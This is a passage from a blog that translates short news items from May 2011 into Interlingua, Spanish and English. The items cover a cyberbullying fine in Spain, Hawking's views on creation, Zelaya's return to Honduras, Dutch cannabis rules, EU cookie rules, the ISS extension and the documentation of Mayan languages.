le nomine de un altere puera con le fin de ridiculisar la.\nLe victima, qui in le momento de iste evento in 2008 habeva minus que 20 annos, debeva esser submittite a tractamento psychologic a causa de iste profilo in le rete social Tuenti, que es multo popular inter le juvenes espaniol.\nLe duo pueras qui esseva condemnate creava le profilo con photos e datos real, adornate con commentarios destinate a humiliar lor victima.\n---\nDos jóvenes españolas tendrán que pagar US$18.000 por la creación de un perfil difamatorio en internet.\nDos jóvenes españolas tendrán que pagar casi US$18.000 de indemnización cada una por abrir un perfil falso a nombre de otra chica con el fin de ridiculizarla.\nLa víctima, que en el momento de este evento en 2008 tenía menos de 20 años, tuvo que ser sometida a tratamiento psicológico por culpa de este perfil en la red social Tuenti, muy popular entre los jóvenes españoles.\nLas dos condenadas crearon el perfil con fotos y datos reales, adornados con comentarios destinados a humillar su víctima.\n---\nTwo Spanish girls will have to pay $18,000 for creating a defamatory profile on the internet.\nTwo young Spanish women will each have to pay nearly $18,000 in compensation for opening a fake profile about another girl with the intent of ridiculing her.\nThe victim, who at the time of this event in 2008 was younger than twenty years old, had to undergo psychological treatment because of this profile on the social network Tuenti, which is very popular among the youth of Spain.\nThe two young women who were found guilty created the profile with photos and real data, adorned with comments intended to humiliate their victim.\nPosted by hkyson at 6:01 AM\nMonday, May 30, 2011\n(Languages of this post: Interlingua, Spanish, English)\nLe Instituto Cervantes ha presentate un nove \"Guía práctica de escritura y redacción\" (Guida practic pro scriber e rediger) pro adjuvar a scriber le espaniol de un maniera correcte.\nIste libro--scribite per Catalina Fuentes, professor del Universitate de Sevilla--consiste de 190 paginas.\nSecundo le director del instituto, Carmen Caffarel, le libro propone technicas e consilios pro communicar in forma scribite e resolve questiones que surge in le processo de redaction.\nIste es le quarte obra del collection de Guidas Practic publicate desde 2008 per le Instituto Cervantes e le casa editorial Espasa.\n---\nUna nueva \"guía práctica\" para escribir bien el español se ha publicado en España.\nEl Instituto Cervantes ha presentado una nueva \"Guía práctica de escritura y redacción\" para ayudar a escribir de manera correcta en español.\nEste libro--escrito por Catalina Fuentes, catedrática de la Universidad de Sevilla--consta de 190 páginas.\nSegún la directora del instituto, Carmen Caffarel, el libro propone técnicas y consejos para comunicar por escrito y resuelve preguntas que surgen en el proceso de redacción.\nSe trata de la cuarta obra de la colección de \"guías prácticas\" publicadas desde 2008 por el Instituto Cervantes y la editorial Espasa.\n---\nA new \"practical guide\" for writing Spanish well has been published in Spain.\nThe Cervantes Institute introduced a new \"Guía práctica de escritura y redacción\" (Practical guide for writing and editing) to help write Spanish correctly.\nThe volume--written by Catherine Fuentes, a professor at the University of Seville--is 190 pages long.\nAccording to the director of the institute, Carmen Caffarel, the book offers tips and techniques for communicating in writing and solves problems that arise in the process of editing.\nThis is the fourth book in the collection of Practical Guides published since 2008 by the Instituto Cervantes and the Espasa publishing house.\nPosted by hkyson at 11:18 PM\n(Languages of this post: Interlingua, Spanish, English)\nUn del physicos le plus eminente del mundo, Stephen Hawking, dice que ille ha cambiate de opinion con respecto al creation del universo e nunc affirma que Deo non habeva ullo que vider in illo.\nIn le passato, Hawking diceva que le idea de un creator divin non esseva incompatibile con le comprehension scientific del cosmos. Ma in su libro le plus recente \"Le grande disegno\" ille argue que secundo le nove theorias, il es evidente que le phenomeno cognoscite como le \"Big Bang\" (le lexplosion que dava origine al Universo) esseva un consequentia inevitabile del leges del physica, e nulle deo esseva necesse pro initiar le processo.\nIn su libro anterior, publicate in 1998, le popular \"Un breve historia del tempore\", il pare que Hawking accipe le mano de Deo in le creation del cosmos. \"Si nos poteva discoperir un theoria complete\", ille tunc scribeva, \"il esserea le maxime triumpho del ration human, proque nos tunc cognoscerea le mente de Deo.\"\nNonobstante, in su ultime obra, le physico le plus famose del Regno Unite disputa le credentia de Isaac Newton, qui affirmava que le Universo debeva haber essite designate per Deo e que illo non poteva haber surgite del chaos. Hawking identifica le discoperimento, in 1992, de un planeta in orbita circum un stella differente a nostre Sol como le prime fissura in le theoria divin.\n\"Le creation spontanee es le ration pro le qual il ha alique in loco de nullo, le ration pro le existentia del Universo, e le ration de nostre proprie existentia\", conclude Hawking. \"Illo significa que le structura de nostre systema solar non es unic. Il ha altere systemas solar con differente combinationes de planetas que es simile al planetas roccose como Mercurio e le planetas gaseose como Jupiter. Isto indica clarmente que planetas como le Terra se distribute aleatorimente. E le character aleatori del evolution biologic indica clarmente que le universo non esseva create specialmente pro producer nostre proprie specie como le pinnaculo del creation.\"\nHawking explica que a causa del lege del gravitate, le universo pote crear se ex nullo, e ille insiste que \"le creation spontanee es le ration pro le qual il ha alique in loco de nullo, le ration pro le existentia del Universo, e le ration pro nostre proprie existentia\".\n---\nDios no creó el Universo, dice Stephen Hawking.\nUno de los físicos más eminentes del mundo, Stephen Hawking, dice haber cambiado de parecer con respecto a la creación del Universo y ahora afirma que Dios no tuvo nada que ver en ello.\nEn el pasado, Hawking dijo que la idea de un creador divino no era incompatible con el entendimiento científico del cosmos. Pero en su libro más reciente, \"El gran diseño\", sostiene que de acuerdo con las nuevas teorías, es evidente que el fenómeno conocido como el Big Bang (la explosión que dio origen al Universo) fue una consecuencia inevitable de las leyes de la física, y ningún dios fue necesario para iniciar el proceso\nEn su anterior libro, publicado en 1988, el popular \"Una breve historia del tiempo\", parece que Hawking acepta la mano de Dios en la creación del cosmos. \"Si pudiéramos descubrir una teoría completa\", escribió entonces, \"sería el máximo triunfo de la razón humana, porque entonces conoceríamos la mente de Dios.\"\nSin embargo, en su última obra, el físico más famoso del Reino Unido disputa la creencia de Isaac Newton, quien afirmó que el Universo debió haber sido diseñado por Dios y que no pudo haber surgido del caos. Hawking identifica el descubrimiento, en 1992, de un planeta en órbita alrededor de una estrella diferente a nuestro Sol como la primera grieta en la teoría divina.\n\"La creación espontánea es la razón por la que hay algo en lugar de nada, el porqué de la existencia del Universo y el porqué de nuestra propia existencia\", concluye Hawking. \"Eso significa que la estructura de nuestro sistema solar no es único. Hay otros sistemas solares con diferentes combinaciones de planetas que se asemejan a los planetas rocosos como Mercurio y los planetas gaseosos como Júpiter. Esto indica claramente que planetas como la Tierra se distribuyen al azar. Y el carácter aleatorio de la evolución biológica indica claramente que el universo no fue creado especialmente para producir nuestra propia especie como el pináculo de la creación.\"\nHawking explica que es por la ley de la gravedad que el Universo puede crearse de la nada, y insiste que \"la creación espontánea es la razón por la que hay algo en lugar de nada, el porqué de la existencia del Universo y el porqué de nuestra propia existencia\".\n---\nGod did not create the universe, says Stephen Hawking.\nOne of the world's most eminent physicists, Stephen Hawking, says he has changed his mind about the creation of the universe and now claims that God had nothing to do with it.\nIn the past, Hawking said the idea of a divine creator was not inconsistent with the scientific understanding of the cosmos. But in his latest book, \"The Grand Design,\" he argues that according to the new theories it is clear that the phenomenon known as the Big Bang (the explosion that gave birth to the Universe) was an inevitable consequence of the laws of physics, and no god was needed to start the process.\nIn his previous book, published in 1988, the popular \"A Brief History of Time,\" it seems that Hawking accepts the hand of God in the creation of the cosmos. \"If we could discover a complete theory,\" he wrote then, \"it would be the ultimate triumph of human reason, because we would then know the mind of God.\"\nHowever, in his last work, the most famous physicist of the United Kingdom disputes Isaac Newton's belief when he said that the universe must have been designed by God and that it could not have emerged from chaos. Hawking identifies the discovery in 1992 of a planet orbiting a star other than our sun as the first crack in the divine theory.\n\"Spontaneous creation is the reason why there is something rather than nothing, the reason for the existence of the universe, and the reason for our own existence,\" Hawking concludes. \"That means that the structure of our solar system is not unique. There are other solar systems with different combinations of planets that resemble the rocky planets like Mercury and the gaseous planets like Jupiter. This strongly indicates that planets like the earth are randomly distributed. And the random nature of biological evolution strongly indicates that the universe was not created especially to produce our own species as the pinnacle of creation.\"\nHawking explains that it is because of the law of gravity that the universe can be created from nothing, and he insists that \"spontaneous creation is the reason why there is something rather than nothing, the reason for the existence of the universe, and the reason for our own existence.\"\nSunday, May 29, 2011\n(Languages of this post: Interlingua, Spanish, English)\nLe ex-presidente de Honduras, Manuel Zelaya, arrivava a Tegucigalpa, ubi milles de su partidarios se habeva reunite pro dar a ille le benvenita.\nPost menses in le exilio, ille atterrava in le aeroporto de Toncontín in un avion venezuelan, qui arrivava de Managua, ubi le presidente de Nicaragua, Daniel Ortega, le habeva recipite con grande honores.\nZelaya, de 58 annos de etate, viagiava accompaniate per su sposa, Xiomara Castro, e su filias, accompaniate per plure ex-functionarios sue, le cancellero venezuelan, Nicolás Maduro, le ex-senator colombian Piedad Córdoba, e le ex-presidente de Panamá, Martín Torrijos.\nPost ignorar un ordine del Corte Supreme de Honduras pro cancellar un referendum que cercava emendar le constitution del pais, Zelaya esseva removite del presidentia de Honduras in un colpo de stato le 28 de junio de 2009.\nIlle arrivava a Santo Domingo le 27 de januario de 2010, post que ille esseva reimplaciate per Porfirio Lobo in le presidentia del pais e post passar quatro menses in le Ambassata del Brasil in Tegucigalpa.\nSu retorno es le resultato del accordos signate in Cartagena, Colombia, con le presidente Honduran, Porfirio Lobo, que permittera le retorno al Organisation de Statos American del qual le pais esseva excludite post le colpo de stato.\n---\nZelaya llegó a Honduras, donde le reciben miles de sus seguidores.\nEl ex presidente de Honduras, Manuel Zelaya, llegó a Tegucigalpa, donde miles de sus partidarios se habían reunido para darle la bienvenida.\nTras meses en el exilio, aterrizó en el aeropuerto de Toncontín en un avión venezolano, procedente de Managua,\ndonde el presidente de Nicaragua, Daniel Ortega, lo había recibido con grandes honores.\nZelaya, de 58 años, viajó acompañado por su esposa, Xiomara Castro, y sus hijas, junto a varios de sus ex funcionarios, el canciller venezolano, Nicolás Maduro, la ex senadora colombiana Piedad Córdoba y el ex presidente de Panamá, Martín Torrijos.\nDespués de ignorar una orden de la Corte Suprema de Honduras para cancelar un referéndum que buscaba enmendar la constitución del país, Zelaya fue derrocado en un golpe de Estado el 28 de junio de 2009.\nLlegó a Santo Domingo el 27 de enero de 2010, después de que fue reemplazado por Porfirio Lobo en la presidencia del país y después de pasar cuatro meses en la Embajada de Brasil en Tegucigalpa.\nSu regreso es el resultado de los acuerdos suscritos en Cartagena, Colombia, con el presidente hondureño, Porfirio Lobo, que permitirán el regreso de Honduras a la Organización de Estados Americanos de la que fue excluido el país tras el golpe de Estado.\n---\nZelaya arrived in Honduras, where thousands of his followers had gathered to welcome him.\nThe former president of Honduras, Manuel Zelaya, arrived in Tegucigalpa, where thousands of his supporters had gathered to greet him.\nAfter months in exile, he landed at the Toncontín Airport on a Venezuelan plane from Managua, where the president of Nicaragua, Daniel Ortega, had received him with great honors.\nZelaya, 58, was accompanied by his wife, Xiomara Castro, and his daughters, along with several former officials, Venezuelan Foreign Minister Nicolas Maduro, the former Colombian Senator Piedad Cordoba, and the ex-president of Panama, Martin Torrijos.\nAfter ignoring an order from the Supreme Court of Honduras to cancel a referendum seeking to amend the constitution of the country, Zelaya was removed from power in a coup d'état on June 28, 2009.\nHe arrived in Santo Domingo on January 27, 2010, after he was replaced by Porfirio lobo in the presidency of the country and after spending four months in the Brazilian Embassy in Tegucigalpa.\nHis return is a result of the agreements signed in Cartagena, Colombia, with the Honduran president, Porfirio Lobo, which will allow the return of Honduras to the Organization of American States, which the country was excluded from after the coup.\nFriday, May 27, 2011\n(Languages of this post: Interlingua, Spanish, English)\nLe governamento hollandese ha annunciate un politica que restringera le venta de marihuana al touristas al pais al fin de iste anno.\nIste nove politica, proponite per le governamento de coalition que arrivava al poter le anno passate, pretende reducer le tourismo de drogas e combatter le crimine.\n\"Pro resolver le problema de disordine public e le criminalitate relationate al cafés e le traffico de drogas, le politica de portas aperte del cafés terminara\", scribeva le ministros de sanitate e justitia in un littera inviate venerdi al parlamento del pais.\nMarihuana nunc se vendera in quantitates limitate al citatanos hollandese plus vetule que 18 annos de etate, qui debera esser membros del cafés dedicate a su venta.\nLe citate de Amsterdam se oppone al decision.\n---\nMarihuana ya no se venderá a los turistas en Holanda.\nEl gobierno holandés ha anunciado una política que restringirá la venta de marihuana a los turistas al país a finales de este año.\nEsta nueva política, propuesta por el gobierno de coalición que llegó al poder el año pasado, pretende frenar el turismo de drogas y combatir el crimen.\n\"Para resolver la alteración del orden público y la criminalidad relacionadas con las cafeterías y el tráfico de drogas, la política de puertas abiertas de los cafés terminará\", escribieron los ministros de salud y justicia en una carta enviada el viernes al parlamento del país.\nMarihuana ahora se venderá en cantidades limitadas a los ciudadanos holandeses mayores de 18 años, que tendrán que ser miembros de los cafés dedicados a su venta.\nLa ciudad de Amsterdam se opone a la decisión.\n---\nMarihuana will no longer be sold to tourists in Holland.\nThe Dutch government has announced a policy that will restrict the sale of marihuana to tourists to the country later this year.\nThis new policy, proposed by the coalition government that came to power last year, aims to curb drug tourism and combat crime.\n\"To address the problem of public disorder and crime related to the cafes and drug trafficking, the open-door policy of the cafes will end,\" wrote the ministers of health and justice in a letter Friday to the country's parliament.\nMarihuana will now be sold in limited quantities to Dutch citizens older than eighteen years of age, who will have to become members of the cafes dedicated to its sale.\nThe city of Amsterdam is opposed to the decision.\nPosted by hkyson at 11:09 PM\n(Languages of this post: Interlingua, Spanish, English)\nPlure citates in Austria ha comenciate a examinar lor archivos pro saper si Adolf Hitler continua a esser considerate un citatano illustre.\nToto comenciava quando le municipio de Arnstetten decideva revocar formalmente iste titulo de Hitler, e duo membros del dextre extreme del Concilio Municipal abstineva in le voto pro facer isto.\nIntertanto, le burgomaestro del citate de Klagenfurt non sperava usque un debatto habeva loco sur iste thema e usava su poteres de emergentia pro eliminar ulle recognoscimento official de Hitler como un personage distinguite in le historia de Ausstria.\nAustria totevia sta a luctar pro confrontar le importantia historic de su passato nazi.\n---\nAustria está tomando medidas para eliminar a Adolf Hitler de su lista de ciudadanos ilustres.\nVarias ciudades en Austria han comenzado a examinar sus archivos para saber si Adolf Hitler sigue siendo considerado un ciudadano ilustre.\nTodo comenzó cuando la localidad de Amstetten decidió revocarle formalmente este título a Hitler, y dos miembros de la extrema derecha del Ayuntamiento se abstuvieron en la votación para hacer esto.\nMientras tanto, el alcalde de la ciudad de Klagenfurt no esperó a que un debate que se celebrara sobre este tema y usó sus poderes de emergencia para eliminar cualquier reconocimiento oficial de Hitler como un personaje distinguido en la historia de Austria.\nAustria todavía está luchando para hacer frente a la importancia histórica de su pasado nazi.\n---\nAustria is taking steps to remove Adolf Hitler from its list of illustrious citizens.\nSeveral cities in Austria have begun to examine their records to find out whether Adolf Hitler is still considered a distinguished citizen.\nIt all started when the town of Amstetten decided to formally take away this title from Hitler, and two members of the extreme right of the City Council abstained from voting to do this.\nMeanwhile, the mayor of the city of Klagenfurt did not wait for a debate to be held on this subject and used his emergency powers to officially remove any recognition of Hitler as a distinguished character in Austrian history.\nAustria is still struggling to deal with the historical significance of its Nazi past.\nPosted by hkyson at 7:49 PM\n(Languages of this post: Interlingua,. Spanish, English)\nScientistas statounitese publicava in le magazine \"Science\" un studio analysante parvissime granos de vitro volcanic colligite in le ultime mission del serie Apollo al Luna in 1972 e discoperiva que sub le superficie del Luna il ha un quantitate de aqua cento vices plus grande que lo que on credeva.\nSi le studio se confirma, isto poterea nullificar le theoria que le Luna se formava del restos de un grande collision inter le Terra e un altere corpore assatis simile.\nLe scientistas sempre ha credite que le fortia de ille impacto haberea vaporisate quasi omne le aqua intra le fragmentos que resultava de iste collision.\nLe presentia de aqua in le Luna se confirmava in 2009 quando NASA placiava duo sondas in su superficie.\n---\nNuevos estudios podrían cambiar la teoría de formación de la Luna.\nCientíficos estadounidenses publicaron en la revista \"Science\" un studio analizando diminutos granos de vidrio volcánico recogidos en la última misión de la serie Apollo a la Luna en 1972 y descubrieron que debajo de la superficie de la Luna se encuentra cien veces más agua de la que se pensaba.\nDe confirmarse el estudio, ésto podría anular la teoría de que la Luna se formó de los escombros de una gran colisión entre la Tierra y otro cuerpo bastante semejante.\nLos científicos siempre han creído que la fuerza de ese impacto habría vaporizado casi toda el agua entre los escombros que resultaron de esta colisión.\nLa presencia de agua en la Luna se confirmó en 2009 cuando la NASA colocó dos sondas en la superficie.\n---\nNew research could change the theory of the formation of the Moon.\nU.S. scientists published in the journal \"Science\" a study analyzing tiny grains of volcanic glass collected on the last Apollo mission to the moon in 1972 and discovered that beneath the surface of the moon there is a hundred times more water than previously thought.\nIf the study is confirmed, this would nullify the theory that the Moon was formed from the debris of a massive collision between Earth and another rather similar body.\nScientists have long believed that the force of that impact would have vaporized most of the water within the rubble that resulted from this collision.\nThe presence of water on the moon was confirmed in 2009 when NASA placed two probes on its surface.\nPosted by hkyson at 6:53 PM\nThursday, May 26, 2011\n(Languages of this post: Interlingua, Spanish, English)\nLe Union Europee comenciara a implementar nove regulas pro le privacitate del usatores de internet. Comenciate iste jovedi, le sitos web debera obtener permission ante instalar cookies in le computatores del personas qui illos visita.\nProgramas cognoscite como cookies permitte le registration del preferentias del usatores de cata sito que illos visita. Illos anque es usate per interprisas commerical pro cognoscer le preferentias de lor consumitores.\nLe defensores del nove restrictiones es inquietate que le cookies es capace de retener troppo information personal sur le personas in cuje computatores illos es installate.\nUsque nunc, nonobstante, pauc paises del Union Europee ha comenciate a applicar le nove normas proque illos time que le commercio trans internet pote esser adversemente afficite.\n---\nLa Unión Europea aplicará nuevas reglas sobre privacidad en internet.\nLa Unión Europea pondrá en vigencia nuevas reglas relacionadas con la privacidad de los usuarios de internet. A partir de este jueves, los sitios web necesitarán obtener permisos antes de instalar cookies en las computadoras de quienes los visiten.\nProgramas conocidos como cookies permiten recordar las preferencias de los usuarios de cada sitio que visitan. También son utilizadas por empresas comerciales para conocer las preferencias de sus consumidores.\nA los defensores de las nuevas restricciones les preocupa que las cookies sean capaces de retener demasiada información personal acerca de las personas en cuyas computadoras están instaladas.\nHasta ahora, sin embarago, pocos países de la Unión Europea han comenzado a aplicar las nuevas normas, pues temen que el comercio a través de internet pueda verse afectado.\n---\nThe European Union is going to start implementing new rules on Internet privacy.\nThe European Union will implement new rules for the privacy of internet users. Effective Thursday, websites will need to obtain permission before installing cookies on the computers of those they visit.\nPrograms known as cookies make it possibile to record the user preferences of every site that they visit. They are also used by commercial enterprises to monitor the preferences of their consumers.\nDefenders of the new restrictions are worried that cookies can also gather too much personal information about the people on whose computers they are installed.\nUp to now, however, few countries in the European Union have started to implement the new rules out of fear that trade via the Internet could be adversely affected.\nPosted by hkyson at 10:41 AM\nTuesday, May 24, 2011\n(Languages of this post: Interlingua, Spanish, English)\nGermania ha claudite alicunes de su aeroportos in le nord del pais a causa del propagation del nube vulcanic que veni del eruption de un vulcano In Islanda.\nLe autoritates ha suspendite le volos inter Bremen e Hamburgo e preveni que il es possibile que illes debera clauder le spatio aeree in altere citates, inter illos le capital, Berlin, al minus usque le fin del mercuridi.\nLe Prime Ministro de Islanda, Olafur Ragnar Grimsson, ha dicite, nonobstante, que le eruption del Grímsvötn sta a debilitar se.\n---\nAlemania ha cerrado algunas de sus aeropuertos a causa de la ceniza volcánica.\nAlemania ha cerrado algunos de sus aeropuertos en el norte del país a causa de la propagación de la nube volcánica procedente de la erupción de un volcán en Islandia.\nLas autoridades han suspendido los vuelos entre Bremen y Hamburgo y advirtieron que es posible que tengan que cerrar el espacio aéreo en otras ciudades, entre ellas la capital, Berlín, por lo menos hasta el final del miércoles.\nEl Primer Ministro de Islandia, Olafur Ragnar Grimsson, ha dicho, sin embargo, que la erupción del Grímsvötn está debilitándose.\n---\nGermany has closed some of its airports because of volcanic ash.\nGermany has closed some of its airports in the north because of the spread of the volcanic cloud from the eruption of a volcano in Iceland.\nThe authorities have suspended flights between Bremen and Hamburg and warned that they may have to close off the air space in other cities, including the capital, Berlin, at least until the end of Wednesday.\nThe Prime Minister of Iceland, Olafur Ragnar Grimsson, has said, however, that the eruption of Grímsvötn is weakening.\nPosted by hkyson at 10:27 PM\n(Languages of this post: Interlingua, Spanish, English)\nLe interprenditores le plus prominente de internet e e del medios de communication se reunira in Paris durante duo dies in le prime conferentia al summitate sur le internet.\nLe directores de Google, Facebook, e Microsoft assistera pro discuter le futuro del rete. Le presidente de Francia, Nicolas Sarkozy, essera le hospite del foro immediatemente ante le summitate del G8.\nOn spera que le thema que dominara le foro essera le debatto sur si--e in que mensura--on debe regular le rete.\nLe conclusiones del evento se presentara un pauco postea al summitate del Gruppo del Octo (G8) in le localitate francese de Deauville.\nIste es le prime vice que internet essera debattite per le leaders del paises del G8.\n---\nGigantes de internet debatirán el futuro de la comunicación electónica internacional.\nLos empresarios más destacados de internet y de los medios de comunicación se reunirán en París durante dos días en la primera cumbre de internet.\nLos directores de Google, Facebook y Microsoft asistirán para discutir el futuro de la red. El presidente de Francia, Nicolas Sarkozy, será anfitrión del foro justo antes de la cumbre del G8.\nSe espera que el tema que domine el foro sea el debate sobre si--y en qué medida--se debe regular la red.\nLas conclusiones del evento se presentarán poco después en la cumbre del Grupo de los Ocho (G8) en la localidad francesa de Deauville.\nEsta es la primera vez que internet será debatido por los líderes de los países del G8.\n---\nInternet giants will discuss the future of international electronic communication.\nThe most prominent Internet and media entrepreneurs will gather in Paris for two days at the first summit dealing with the internet.\nThe directors of Google, Facebook and Microsoft will be present to discuss the future of the network. French President Nicolas Sarkozy will host the forum just before the G8 summit.\nThe subject that is expected to dominate the forum is the debate about whether--and to what extent--the network should be regulated.\nThe conclusions coming from this event will be presented shortly afterwards to the Group of Eight (G8) summit in the French town of Deauville.\nThis is the first time that the Internet will be discussed by the G8 countries.\nPosted by hkyson at 8:07 PM\n(Languages of this post: Interlingua, Spanish, English)\nLe paises que participa in le mantenimento del Station Spatial International approbava le extension de su periodo de vita utile, annunciava le chef del programma de volos con personas a bordo del agentia spatial russe, Alexéi Krasnov.\n\"Le operation del station ha essite extendite usque 2020, e le moneta es disponibile pro continuar su functionamento\", diceva Krasnov in un conferentia de pressa, accentuante que ben que le operationes del station se trovava programmate originalmente pro terminar in 2016, il non habera ulle necessitate pro accordos additional pro mantener lo in functionamento usque 2020.\nLe socios principal in iste projecto es le Statos Unite e Russia. Canada, Japon, le Union Europee. E, plus recentemente, le Brasil e Ukrania anque ha state a participar in le programma.\n---\nLa vida útil de la Estación Espacial se extenderá hasta 2020.\nLos países que participan en el mantenimiento de la Estación Espacial Internacional aprobaron la prórroga del plazo de su vida útil, anunció el jefe del programa de vuelos tripulados de la agencia espacial rusa, Alexéi Krasnov.\n\"La operación de la estación ha sido prorrogada hasta 2020, y se asignarán fondos para que continúe su funcionamiento\", dijo Krasnov en una rueda de prensa, subrayando que aunque las operaciones de la estación estaban programadas originalmente para terminar en 2016, no habrá necesidad de acuerdos adicionales para mantenerla en funcionamiento hasta 2020.\nLos socios principales en este proyecto son los Estados Unidos y Rusia. Canadá, Japón, la Unión Europea. Y, más recientemente, Brasil y Ucrania también han estado participando en este programa.\n---\nThe useful life of the Space Station will be extended until 2020.\nThe countries participating in the maintenance of the International Space Station have approved the extension of its period of useful life, announced the head of human spaceflight program of the Russian space agency, Alexei Krasnov.\n\"The operation of the station has been extended until 2020, and funds have been allocated to continue its operation,\" Krasnov said at a news conference, stressing that although the operations of the station were originally scheduled to end in 2016, there will be no need for additional agreements to keep it operating until 2020.\nThe key partners in this project are the United States and Russia. Canada, Japan, the European Union. And, more recently, Brazil and the Ukraine have also been participating in this program.\nPosted by hkyson at 8:40 AM\nMonday, May 23, 2011\n(Languages of this post: Interlingua, Spanish, English)\nParlante anglese fluentemente ma con un accento legier, Pedro Mateo, qui travalia in le facultate del linguistica del Universitate Harvard e cuje lingua native es le q'anjob'al, un lingua maya que sta a devenir extincte, diceva que quando ille esseva un puero, il habeva insignias ubique sur le muros de su schola dicente \"Non parla linguas native\".\nQuando ille esseva un puero (e, tristemente, mesmo nunc!) iste linguas esseva symbolos del povressa e de culturas primitive. Le professores de su schola voleva que lor studentes usava solmente le espaniol proque on lo considerava le lingua del progresso e del prosperitate.\n\"Le major parte de nos voleva evitar le discrimination\", diceva Mateo, addente que mesmo pro parlatores native del linguas maya, lor uso mesmo nunc pote portar un \"connotation negative\".\nNunc, con le professor de linguistica Maria Polinsky e plure collegas sue in su laboratorio, Mateo sta a adjuvar a preservar, promover, e comprender melio le linguas del familia maya.\nIn maio e un altere vice in junio, Mateo e altere membros del laboratorio linguistic visitara Mexico e Guatemala pro colliger datos sur le grammatica e le architectura del linguas ch'ol, chuj, e q'anjob'al.\nLinguistas experte como Polinsky e su equipa explora le designo e le structura de linguas in un effortio pro comprender como e pro que certe linguas es simultaneemente multo differente e multo simile. Le studios de linguas como iste dialectos maya adjuva a explicar como functiona le cerebro human mesme.\nIn le America Central, iste equipa de Harvard travaliara con communitates local pro observar e registrar le linguage de infantes e le manieras que lor patres parla con illes. Adultos sovente parla de manieras assatis differente con infantes que con altere adultos in omne le culturas del mundo, e le linguistas de iste equipa vole cognoscer como iste linguage special adjuva un infante a apprender su lingua materne.\n\"Sovente on crede que parve infantes parla de un maniera simple e incorrecte\", diceva Jessica Coon, un membro del equipa de Polinsky. \"Ma le errores que illes face es consistente e pote inseniar nos multo sur le structura del linguas que illes apprende a parlar--e anque sur le structura general del linguage human.\"\nUn secunde componente de lor travalio involve le \"ergativitate\", un characteristica universal in le linguas maya que es multo differente de lo que on trova in le linguas europee.\n\"Le ergativitate es un maniera de codificar lo que es subjectos e objectos accusative in le linguas europee\", diceva Polinsky. Illa offereva un exemplo de un traduction de duo asseverationes maya: \"Me iva. Io comprava café.\"\n\"Illes ha duo manieras de dicer 'io' que se associa directemente con verbos como 'vader' e 'comprar'\", diceva illa.\nIn ultra, in le major parte del linguas maya le prime parola de un asseveration es un verbo, un characteristica in circa 10% de nostre linguas.\nPro studiar le ergativitate mayan, Polinsky e su equipa disveloppa un serie de picturas create con le adjuta de un artista maya que monstra plure scenas.\nIn un designo, un serpente morde un pullo. Al latere de illo, un pullo morde un serpente. Le linguistas monstra iste picturas a un varietate de personas e tunc face sonar un asseveration in maya ambigue. Illes tunc nota le preferentia de lor subjectos e le quantitate de tempore que illes necessitava pro seliger un pictura in vice del pictura alternative.\n\"Nos sta a essayar a determinar lor preferentias inter iste serie de picturas\", dice Polinsky. Lor preferentias nos insenia multo sur le structura de lor lingua.\"\nLe equipa ha un certe sentimento de urgentia in su travalio. Il ha nunc 30 linguas maya que se parla, ma le numero de iste linguas se reduce rapidemente. In 1976 il habeva circa 50.000 parlatores de Chuj, pro exemplo. Il nunc ha solmente circa 40.000.\nUltra acquirer nove cognoscimentos sur le linguas maya e le linguistica in general, le membros de iste equipa anque spera inspirar le communitates de mayas in le quales illes travalia. Per inseniar a lor informantes a colliger e traducer le datos linguistic que illes collige, iste linguistas spera inspirar in illes un sentito de feritate, demonstrante a illes que lor linguas es vehiculos importantissime de communication.\nPolinsky diceva que illa e su equipa spera que lor exemplo de studiar seriemente le linguas de iste gente les inspirara a recognoscer le valor de illos e a preserver los.\n---\nA team of Harvard linguists is documenting the Mayan languages.\nSpeaking English fluently but with a slight accent, Pedro Mateo, who works at the department of linguistics at Harvard University and whose native language is Q'anjob'al, a Mayan language that is becoming extinct, said that when he was a boy, there were signs everwhere on the walls of his school saying \"Don't speak native languages.\"\nWhen he was a boy (and, sadly, even now) these languages were symbols of poverty and and of primitive cultures. The teachers at his school wanted their students to use only Spanish because it was considered the language of progress and prosperity.\n\"Most of us wanted to avoid discrimination,\" Mateo said, adding that even for native speakers of the Mayan languages, their use even now can carry a \"negative connotation.\"\nNow, with the linguistics professor Maria Polinsky and several of her colleagues in her laboratory, Mateo is helping to preserve, promote, and better understand the languages of the Mayan family.\nIn May and once again in June, Mateo and other members of the linguistics laboratory will visit Mexico and Guatemala to collect data on the grammar and the architecture of the Ch'ol, Chuj, and Q'anjob'al languages.\nExpert linguistis such as Polinsky and her team explore the design and the structure of languages in an effort to understand how and why certain languages are simultaneously very different and very similar. The studies of languages like these Mayan dialects help explain the workings of the human brain itself.\nIn Central America, this Harvard team will work with local communities to observe and record the language of children and the ways their parents speak with them. Adults often speak in rather different ways with children than with other adults in all the cultures of the world, and the linguists on this team want to find out how this special language helps a child learn his mother tongue.\n\"It is often believed that little children speak in a simple and incorrect way,\" said Jessica Coon, a member of Polinsky's team. \"But the errors that they make are consistent and can teach us a lot about the structure of the languages that they are learning how to speak--and also about the structure of human language in general.\"\nA second component of their work involves \"ergativity\" a universal characteristic in the Mayan languages that is quite different from what is found in European languages.\n\"Ergativity is a way of codifying subjects and accusative objects in European languages,\" said Polinsky. She offered an example of a translation of two Mayan sentences: \"Me went. I bought coffee.\"\n\"They have two ways of saying 'I' that are associated directly with the verbs 'to go' and 'to buy',\" she said.\nAlso, in most of the Mayan languages the first word of a sentence is a verb, a characteristic of about 10% of our languages.\nTo study Mayan ergativity, Polinsky and her team are developing a series of pictures created with the help of a Mayan artist that show several scenes.\nIn one drawing, a snake bites a chicken. At its side a chicken bites a snake. The linguists show these pictures to a variety of people and then play an ambiguous Mayan sentence. They then note the preference of their subjects and the amount of time that they need to select one picture over the other one.\n\"We are trying to determine their preferences between this series of pictures,\" Says Polinsky. \"Their preferences teach us a lot about the structure of their language.\"\nThe team has a certain sense of urgency about its work. There are now thirty Mayan languages that are spoken, but the number of these languages is rapidly going down. In 1976 there were about 50,000 speakers of Chuj, for example. There now are only about 40,000.\nBeyond getting new knowledge about the Mayan languages and linguistics in general, the members of this team also hope to inspire the Mayan communities in which they are working. By teaching their informants to collect and translate the linguistic data that they are collecting, these linguists hope to inspire in them a sense of pride, showing them that their languages are important vehicles of communication.\nPolinsky said that she and her team hope that their example of studying seriously the languages of these people will inspire them to recognize their value and to preserve them.\nPosted by hkyson at 6:31 PM\n(Languages of this post: Interlingua, Spanish, English)\nCon le 72% del votos contate, le conservative Partito Popular ha emergite como le ganiator del electiones municipal regional celebrate iste domenica in Espania con le 37,07% del votos.\nLe governante Partito Socialiste Obrero Espaniol ha perdite con le 27,82% del votos.\nIn su prime valoration del resultatos, le vicesecretaria del Partito Popular, Ana Mato, lo 